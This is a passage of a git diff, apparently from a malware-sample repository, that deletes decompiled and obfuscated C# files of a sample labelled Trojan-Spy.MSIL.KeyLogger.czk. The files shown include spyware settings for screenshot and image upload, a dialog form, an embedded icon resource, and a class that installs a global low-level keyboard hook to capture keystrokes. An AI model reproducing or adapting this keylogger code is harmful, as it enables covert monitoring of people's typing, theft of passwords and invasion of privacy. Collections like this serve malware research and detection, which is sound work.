info.AddValue("screenShotUploadOnly", this.ᡏᙃ); - info.AddValue("uploadImages", this.ᡎᙃ); - info.AddValue("screenShotDuration", this.ᡍᙃ); - info.AddValue("maxImageSize", this.ᡑᙃ); - } - catch - { - } - int num1; - int num2; - while (num1 == num2) - { - num2 = 1; - int num3 = num2; - int num4 = num1; - num1 = num3; - if (num1 > num4) - break; - } - } - - public void Dispose() - { - do - ; - while (false); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.cs deleted file mode 100644 index ef93c1e1..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.cs +++ /dev/null @@ -1,86 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ᝰ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -public class ᝰ : Form -{ - private IContainer ᡈᙃ; - private RichTextBox ᡉᙃ; - private Button ᡊᙃ; - private TextBox ᡋᙃ; - public static string ង = ᙵ.ᝨᙃ; - public static string \u1772 = ᙵ.ᝪᙃ; - public static string ឈ = ᙵ.ᝬᙃ; - public static string ដ = ᙵ.ᝮᙃ; - public static string គ = ᙵ.ᝰᙃ; - public static string ម = ᙵ.\u1772ᙃ; - public static string ឆ = ᙵ.គᙃ; - - protected override void Dispose(bool disposing) - { - if (disposing && this.ᡈᙃ != null) - this.ᡈᙃ.Dispose(); - base.Dispose(disposing); - } - - private void ᡆᙃ() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ᝰ)); - this.ᡉᙃ = new RichTextBox(); - this.ᡊᙃ = new Button(); - this.ᡋᙃ = new TextBox(); - this.SuspendLayout(); - this.ᡉᙃ.BorderStyle = BorderStyle.None; - this.ᡉᙃ.Location = new Point(12, 45); - this.ᡉᙃ.Name = ᙵ.ᝀᙃ; - this.ᡉᙃ.ReadOnly = true; - this.ᡉᙃ.Size = new Size(411, 142); - this.ᡉᙃ.TabIndex = 0; - this.ᡉᙃ.Text = ""; - this.ᡊᙃ.Location = new Point(348, 201); - this.ᡊᙃ.Name = ᙵ.\u175Aᙃ; - this.ᡊᙃ.Size = new Size(75, 28); - this.ᡊᙃ.TabIndex = 1; - this.ᡊᙃ.Text = ᙵ.\u1759ᙃ; - this.ᡊᙃ.UseVisualStyleBackColor = true; - this.ᡊᙃ.Click += new EventHandler(this.ᡇᙃ); - this.ᡋᙃ.BorderStyle = BorderStyle.None; - this.ᡋᙃ.Font = new Font(ᙵ.\u175Eᙃ, 10f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); - this.ᡋᙃ.Location = new Point(12, 19); - this.ᡋᙃ.Name = ᙵ.ᝠᙃ; - this.ᡋᙃ.ReadOnly = true; - this.ᡋᙃ.Size = new Size(411, 16); - this.ᡋᙃ.TabIndex = 2; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(435, 236); - this.Controls.Add((Control) this.ᡋᙃ); - this.Controls.Add((Control) this.ᡊᙃ); - this.Controls.Add((Control) this.ᡉᙃ); - this.Icon = (Icon) componentResourceManager.GetObject(ᙵ.ᝢᙃ); - this.MaximizeBox = false; - this.MaximumSize = new Size(451, 274); - this.MinimizeBox = false; - this.MinimumSize = new Size(451, 274); - this.Name = ᙵ.ᝤᙃ; - this.Text = ᙵ.ᝦᙃ; - this.ResumeLayout(false); - this.PerformLayout(); - } - - public ᝰ(string Message, string Title) - { - this.ᡆᙃ(); - this.ᡋᙃ.Text = Title; - this.ᡉᙃ.Text = Message; - } - - private void ᡇᙃ(object ᙂ, EventArgs ᙄ) => this.Close(); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.resx deleted file mode 100644 index ba9acee3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.resx +++ /dev/null @@ -1,123 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAGYjAAACAAABAAQAICAAAAEAIACoEAAARgAAACAgAAABAAgAqAgAAO4QAAAQEAAAAQAgAGgEAACWGQAAEBAAAAEACABoBQAA/h0AACgAAAAgAAAAQAAAAAEAIAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/28/EP9nN2D/aTeA/2k3gP1pOL/9aTiH/2k3gP5pOGj/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2c3YP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9ZzfP/mk4aP9fPwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2k5UP1nN8//aTj//2k4//9pOP//h2H//6CA//+ggP//uKD//6CA//+ggP//j2r//208//9pOP//aTj//Wc45/5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP1pOY//aTj//2k4//9yRP//pYj//8Sx///Kuf//yrn//8q5///Kuf//yrn//8q5///Kuf//yrn//6iM//97Uf//aTj//2k4//1nN6//Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzev/2k4//9sO///lHH//7yn//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+/qv//v6r//7+q//+cfP//bkD//2k4//1nN8//bz8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/Wg3l/9pOP//bT///6OE//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+zmv//s5r//7Oa//+ni///dUf//2k4//1pOMf/Xz8IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oOHD/aTj//Wc37/+fgf//p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+ni///p4v//6eL//+khv//c0X//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Zjko/Wk29/9pOP//jWj//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+be///m3v//5t7//+Tcf//bD3//2k4//5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAP1nN6//aTj//5Bs//+QbP//kGz//5Bs//+QbP//kGz//5Bs//+QbP//kGz//6WI//+skf//xLH//8i2///VyP//49r//+Pa///j2v//49r//+Pa///j2v//r5b//5Bs//9/Vv//aTj//Wc45/9fPwgAAAAAAAAAAAAAAAD/ajow/2k4//1pNvf/glj//4Rc//+TcP//o4X//7KZ///Crv//1cf//+Tb///////////////////////////////////////////////////////////////////u6P//o4X//4Nb//9uP///aTj//mk4aAAAAAAAAAAAAAAAAP1pOY//aTj//Wk5j//d0v//////////////////////////////////////////////////////////////////////////////////////////////////////7+/v//+8pv//eEz//3NF//9pOP/9aTi/AAAAAAAAAAAAAAAA/Wk43/9pOP//ooP////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+///6+U//9wQf//cEH//2o4//9pOP//bz8QAAAAAP9nNyD/aTj//Wc37/+xmP////////Lv/////////////////+Li4v/////////////////////////////////////////////////v7+//7+/v/////////////////+/v7///kGz//2s7//9rO///aTn//2k4//5oN1gAAAAA/2c3QP9pOP/9aTjH/519///n4P/////////////6+f//////2NjY/9jY2P/Y2Nj/2NjY/+Li4v/i4uL/4uLi/+/v7//v7+//7+/v/+/v7/////////////////////////bz//9uPv//aTj//2k4//9pOP//aTj//mg4cAAAAAD+aDdY/2k4//9pOP//aTj//2k4//+KZP//y7r/////////////////2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/7+/v////////////////////////vaj//2k4//9pOP//aTj//2k4//9pOP/9aTiHAAAAAP5pOGj/aTj//2k4//9pOP//aTj//2k4//9pOP//gVf//9nN////////9vP//////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P////////////////////////r5//93S///aTj//2k4//9pOP//aTj//2k4//1oOJ8AAAAA/2k5UP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//9DB/////////////////9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/////////////////////////////uKH//2k4//9pOP//aTj//2k4//9pOP//aTj//2k3gAAAAAD+aDY4/2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//bj7//+fg/////////////////9jY2P/Y2Nj/2NjY/9jY2P///////////////////////+zm//9uPv//aTj//2k4//9pOP//aTj//2o4//9pOP/+aThoAAAAAP9vPxD/aTj//Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//mHb/////////////////2NjY/9jY2P/Y2Nj/////////////////////////////k3D//2k4//9pOP//aTj//2k4//9pOP//aTn//2k4//9nN0AAAAAAAAAAAP1pOMf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//49r////////////Y2Nj/2NjY/+/v7//////////////x7P///////7ih//9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP/9Zzfv/18/CAAAAAAAAAAA/2g3eP9pOP//aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//2s6//+1nf///////////+/v7//Y2Nj/////////////7+r////////Yy///azv//2k4//9pOP//aTj//2k4//9pOP//aTj//2k4//1pOKcAAAAAAAAAAAAAAAD/ajUY/Wk29/9pOP//aTj//2k4//9pOP//aTj//2k4//9yRP//jmn//6yR////////////7+/v//////////////z6////////6uP//5Nx//+Pa///d0r//2k4//9pOP//aTj//2k4//1pNvf/aTj//2k5UAAAAAAAAAAAAAAAAAAAAAD9aTiH/2k4//9pOP//aTj//2k4//9pOP//d0r//519//+fgP//t6D///////////////////bz/////////////9vP//+liP//n4D//5+A//+fgP//fFH//2k4//9pOP//aTj//2k4//1nN68AAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj9Zzjn/2k4//9pOP//aTj//2k4//+WdP//rpP//66T///Crv////////////////////////Dr///Fsf//rpP//66T//+uk///rpP//66T//+ff///aTj//2k4//9pOP//aTj//2o6MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9aTb3/2k4//9oOP//aTj//62S//+9p///vaf//9TF/////////v7//+be///QwP//vaf//72n//+9p///vaf//72n//+9p///vaf//7eg//9pOP//aTj//2k4//5pOGgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j/aTj//2k4//9pOP//mnr//8u6///Luv//0MD//9/U///d0///y7r//8u6///Luv//y7r//8u6///Luv//y7r//8u6///Luv//j2r//2k4//9pOP/9aTmPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oN1j9aTb3/2k4//1nN8//o4f//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//2s7//9rO///azv//yLf//4Zf//9pOP//aTj//2k3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP5oNjj9Zzjn/2k4//9pOP//dUj//66V///h1///6eH//+nh///p4f//6eH//+nh///l3P//waz//5Z0//9pOP//aTj//Wc37/5oN1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9fPwj/aTeA/Wc37/9pOP//aTj//2k4//9wQP//fVP//31T//99U///eEz//2k4//9pOP//aTj//2k4//1oN5f/ajUYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ajUY/mk4aP1oNrf/aTj//2k4//9pOP//aTj//2k4//9pOP//aTj//Wc3z/9oN3j/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+aDY4/2c3QP9nN0D/ZzdA/2c3QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////4P///wAf//wAB//wAAH/4AAA/8AAAH/AAAA/gAAAPwAAAB8AAAAeAAAADgAAAA4AAAAOAAAADgAAAAYAAAAGAAAABgAAAA4AAAAOAAAADwAAAA8AAAAfAAAAH4AAAD/AAAB/4AAAf/AAAP/4AAP//AAH//+AP//////8oAAAAIAAAAEAAAAABAAgAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAA/18///9nN//+aDb//2g3//9qNf//Zjn//mg4//9oOP//ajn//2w7//9sPf//bj7//25A//9wQP//ckT//3VH//91SP//d0r//3hM//97Uf//fFL//39W//+BV///gln//4Rc//+GX///h2H//4pk//+NaP//jmr//5Bs//+TcP//lHH//5Z0//+Ydv//mnr//5x8//+ff///n4D//6CA//+ig///o4X//6SG//+liP//p4v//6iM//+skf//rpP//66V//+xmP//spn//7Wd//+3oP//uKD//7ym//+9qP//v6r//8Gs///Crv//xLH//8i2///Kuf/Y2Nj//9DA///Uxv//1cj//9jL///Zzf//2s7//93S///f1P//4df//+Pa///k2///5dz//+be/+Li4v/v7+///+fg///p4f//6uP//+zm///u6f//8Ov///Hs///y7///9vP///r5///8+v///v7/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAAAP///////////////////////////////////////////////////////////////////////////////////////////////////wQECAgICQQEL////////////////////////////y8EBBsnJzUnJx4LBAT//////////////////////wQEDis7PT09PT09PT0tFAQ5//////////////////8/BCA4ODk4ODg4ODg4ODg4JA0E////////////////DQ0qMjIyMjIyMjIyMjIyMjMyKw8//////////////0b/OSotLCwtLCwsLCwsLS0tLS0sKg8E////////////BBwkIyQkJCMkIyQkJCQjIyMjIyMkIBFH/////////z8tJR4eHh4eHh4sLjs8QUlJSUlJSS8eFgT///////8n/xYZICoyOkFKWVlZWVlZWVlZWVlZUioYElT//////1T/VFhZWVlZWVlZWVlZWVlZWVlZWVlNNhIPBP//////DSpZWVlZWVlZWVlZWVlZWVlZWVlZWU0vDQ8RVv///yf/P1ZUWFlZTFlZWVlZWVlZWU1NWVlZTR4JBAkE////G/8nT1hZV1k+Pj4+TExMTU1NTVlZWVlWDQkEElT///8nDwQEHD9YWVk+Pj4+Pj4+Pj5NWVlZWTYECQQEBP///wQEBA0EBBZEWVZZPj4+Pj4+PllZWVhYEgQEBBFW////KBEEBAQECQQ/WVlZPj4+Pj5ZWVlZWTUEBAQNBAT///8gDQQEBAQJBAtOWVlZPj4+PllZWFhUDQQEBAQYWf///0L/NQQEBAQECSJYWVk+Pj5ZWVlZWB8EBA0EBAQU/////wQEBAQLBAkEBEhZWT4+TVlYVFg2BAQEBAQRVv//////WSgRBA0EBAQENVhZTT5ZWVJYQgQEBAQNBA8g////////BAQEBAQEDRwuWVlNWVhYVk8gHhEEBAQv/1n///////9ZNhgEBBInJzVYWFlWWFhFKicnJxEEBAQE//////////8SBAQEIC8vOVhYWFZPOy8vLy8vKAQWOVn///////////9ZGwQvNjlAVlZKPzY2NjY2Njk1BAQR/////////////zYgJyo8PT9GRjw/PT88Pz08Py88Wf////////////////9Z/1ZERkJCRkJEQkJEQj0bETb///////////////////82EQ8vQkZGRkpPSjk1PFn/////////////////////////WUY8HBYRFg8EETZH/////////////////////////////zk1Ly85RFn///////////////////////////////////////////////////////////////////g////AB///AAH//AAAf/gAAD/wAAAf8AAAD+AAAA/AAAAHwAAAB4AAAAOAAAADgAAAA4AAAAOAAAABgAAAAYAAAAGAAAADgAAAA4AAAAPAAAADwAAAB8AAAAfgAAAP8AAAH/gAAB/8AAA//gAA//8AAf//4A///////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/PwT+aDY4/2k5UP5oNkL/ZzcgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/2YzFP5nOIz+aTft/35U//+LZP//hVz//3RG//5oN83+ZzhWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/mk3Lv5pOeP/i2X//7qj///Fsv//xbL//8Wy///Fsv//qIz//3dL//1oN6H/fz8EAAAAAAAAAAAAAAAA/mQ2HP5pN+H/lnT//62T//+tk///rZP//62T//+tk///rZP//62T//+qj///fVP//Wg4nwAAAAAAAAAAAAAAAP1pN7P/hl7//5Z0//+WdP//lnT//5t7//+qjv//tZ3//7+r//+/q///v6v//5t8//9vQf/+ZjdSAAAAAP9qOjD+aTfh/7mh///Nvf//3dH//+7o//////////////////////////////////vPwf//d0v//mk3yQAAAAD/aTeA/opi+//8+///////+Pj4///////////////////////7+/v/+/v7///////3x7j//24+//9pOP/+azoa/mg3pv52SvH/tp////Hs//X19f/Y2Nj/29vb/93d3f/k5OT/6enp/////////////6OE//9pOP//aTj//mo5Pv5pN67/aTj//2k4//9vQP//xLH///38/+Li4v/Y2Nj/2NjY//X19f///////+zm//9tPf//aTj//2k4//5qOEj+aDeS/mg4/f9pOP//aTj//2o6///f1f//////2NjY/+Li4v////////////+Wc///aTj//2k4//9pOP/+ZzYq/2k5UP9pOP//aTj//2k4//9pOP//m3r//////97e3v/7+/v///j1//+/qv//aTj//2k4//9pOP/+aDfl/38AAv9VKgb+aTjf/2k4//9pOP//fFH//6SH///////7+fj///7+///azv//mHf//39V//9pOP/+aDj9/2k3gAAAAAAAAAAA/mc3Sv5oOP3/aTj//6yQ///Aq////////+3n///Mu///tp3//7ad//+wlv//aTj//mg42f9qPwwAAAAAAAAAAAAAAAD+Zzhs/mg4/f6fgPP/1Mb//9zR///TxP//08T//9PE///Ovv//km///mk43/5qOCQAAAAAAAAAAAAAAAAAAAAAAAAAAP5nN0r+aDfb/31T//+pjP//s5r//7KY//+efv//dEf//Wc4p/5oORYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/1UqBv5mOEj+aDeO/2k3oP9pN6D+aTZ0/mQ1JgAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAPAfAADgBwAAwAMAAIADAACAAQAAAAEAAAABAAAAAQAAAAEAAIABAACAAQAAwAMAAOAHAADwDwAA/H8AACgAAAAQAAAAIAAAAAEACAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAD//18///5oN///aDf//2o1//5oOP//aDj//2o5//9tPf//bj7//29A//90Rv//d0r//3xS//9+VP//hVz//4Ze//+KY///i2T//5Jv//+Wc///lnT//5h3//+bev//m3z//55+//+fgP//o4T//6SH//+ojP//qo7//6yS//+wlv//spn//7Wd//+2nf//uaH//7qj//+/qv//wKv//8Sx//fHuP//zLv//829///Ovv/Y2Nj/29vb/93d3f/e3t7/+8/B///TxP//1Mb//9rO///c0f//39X/4uLi/+Tk5P/p6en//+zm///u6P//8ez/9fX1///49f/4+Pj/+/n4//v7+////Pv///38///+/v8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAAA/////////////////////////////ycSDwz/////////////EiUoKCgoHiT/////////NCAfIB8fHyAeDv//////EBQUFBceIycnJxsg/////0Q2NjtDREREQ0MxDP////8+QD9DQ0RDQUA+KgwZ////Ojo7LS4vNzlCQxsEBP//CwQLKEI3LS09PjYEDx7///8jBAQ2Pi03Qj4UBAQL//8LBAQEF0IvPjsnDBcy/////zQkFBs+Pj40FA4E////////IyQnPjoqIyo0Mv//////////RDoyMjIyF////////////yQ2NjYyJP//////////////////////////////AADwHwAA4AcAAMADAACAAwAAgAEAAAABAAAAAQAAAAEAAAABAACAAQAAgAEAAMADAADgBwAA8A8AAPx/AAAL - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ណ.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ណ.cs deleted file mode 100644 index 04b703ce..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ណ.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ណ -// Assembly: dskl, Version=1.71.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5380AAD3-568D-45D6-B9BC-59CE5C1E3490 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -public static class ណ -{ - private static IntPtr ᡈᙃ = IntPtr.Zero; - private static ណ.ប ᡉᙃ; - private static ណ.ព ᡊᙃ; - private static អ ᡋᙃ = new អ(); - - public static void \u17BE(ណ.ព _kh) - { - try - { - ProcessModule mainModule = Process.GetCurrentProcess().MainModule; - ណ.ᡉᙃ = new ណ.ប(ណ.ᡇᙃ); - ណ.ᡊᙃ = _kh; - ណ.ᡈᙃ = ណ.ᡆᙃ.SetWindowsHookEx(13, ណ.ᡉᙃ, ណ.ᡆᙃ.GetModuleHandle(mainModule.ModuleName), 0U); - } - catch (Exception ex) - { - ណ.ᡋᙃ.ឨ(ex); - } - } - - public static bool ធ() => ណ.ᡆᙃ.UnhookWindowsHookEx(ណ.ᡈᙃ); - - public static short ក(ᡈ vk) => ណ.ᡆᙃ.GetKeyState(vk); - - public static short រ(ᡈ vk) => ណ.ᡆᙃ.GetAsyncKeyState(vk); - - private static IntPtr ᡇᙃ(int ᙂ, IntPtr ᙄ, IntPtr ᙆ) - { - int int32 = ᙄ.ToInt32(); - if (ᙂ >= 0 && (int32 == 256 || int32 == 260)) - ណ.ᡊᙃ(ᙄ, ᙆ); - return ណ.ᡆᙃ.CallNextHookEx(ណ.ᡈᙃ, ᙂ, ᙄ, ᙆ); - } - - private static class ᡆᙃ - { - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern short GetKeyState(ᡈ vk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern short GetAsyncKeyState(ᡈ vk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr SetWindowsHookEx( - int idHook, - ណ.ប lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr GetModuleHandle(string lpModuleName); - } - - public delegate IntPtr ប(int nCode, IntPtr wParam, IntPtr lParam); - - public delegate void ព(IntPtr wParam, IntPtr lParam); -} diff --git 